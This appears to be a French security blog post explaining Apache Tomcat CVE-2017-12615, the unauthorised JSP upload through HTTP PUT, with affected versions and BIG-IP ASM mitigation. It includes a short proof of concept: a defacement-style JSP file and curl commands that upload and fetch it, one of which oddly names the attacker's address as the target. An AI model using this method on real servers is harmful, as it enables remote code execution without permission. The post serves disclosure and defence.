Vulnérabilité sur Apache Tomcat (CVE-2017-12615) : Explications, Exploitation et Contre-mesures

0
1094

Une vulnérabilité a été découverte dans Apache Tomcat. Elle permet à un attaquant de provoquer une exécution de code arbitraire à distance. Cette vulnérabilité est identifiée comme CVE-2017-12615.

Par conception, vous n’êtes pas autorisé à charger des fichiers JSP via la méthode PUT sur les serveurs Apache Tomcat. C’est probablement une mesure de sécurité pour empêcher un attaquant de charger un shell JSP et d’obtenir une exécution de code à distance sur le serveur. Cependant, en raison des contrôles insuffisants, un attaquant pourrait obtenir une exécution de code à distance sur les serveurs utilisant certaines versions de Tomcat.

Les versions suivantes sont affectées:

  • Apache Tomcat versions 9.0.x antérieures à 9.0.1
  • Apache Tomcat versions 8.5.x antérieures à 8.5.23
  • Apache Tomcat versions 8.0.x antérieures à 8.0.47
  • Apache Tomcat versions 7.0.x antérieures à 7.0.82

Vidéo : Comment exploiter cette vulnérabilité ?

Reproduction de la vulnérabilité

Par défaut, Apache Tomcat restreint l’utilisation de la méthode HTTP PUT, mais en modifiant le fichier de configuration web.xml de Tomcat, il est possible de désactiver cette restriction.

Les différentes étapes qui ont été adoptées :

  1. Créer un fichier .jsp file (Ex : exploit.jsp):
<% out.write("<html><body><h3>[+] You have been hacked.</h3></body></html>"); %>
  1. Exécuter la commande curl sur le serveur cible :
curl -X PUT http://addresse-ip-attaquant:port/exploit.jsp/ -d @- < exploit.jsp
  1. Vérifiez si votre fichier est téléchargé en parcourant l’adresse de la cible:
curl http://target-host-or-ip-address:port/exploit.jsp

Comment corriger cette vulnérabilité ?

Les clients BIG-IP ASM sont déjà protégés contre cette vulnérabilité. Par défaut, BIG-IP ASM restreint l’utilisation de la méthode HTTP PUT et bloquera toute requête HTTP PUT envoyée au serveur virtuel. La tentative d’exploitation sera également bloquée par une signature d’injection de code côté serveur (Signature ID 200004048) qui peut être trouvée dans des ensembles de signature incluant le type d’attaque «Injection de code côté serveur».

Figure 1: La tentative d’exploitation bloquée avec la méthode HTTP illégale.

Figure 2: Exploiter bloqué avec signature d’attaque (200004048)

Merci 🙂

 La sécurité n'est qu'une illusion.

LAISSER UN COMMENTAIRE

Please enter your comment!
Please enter your name here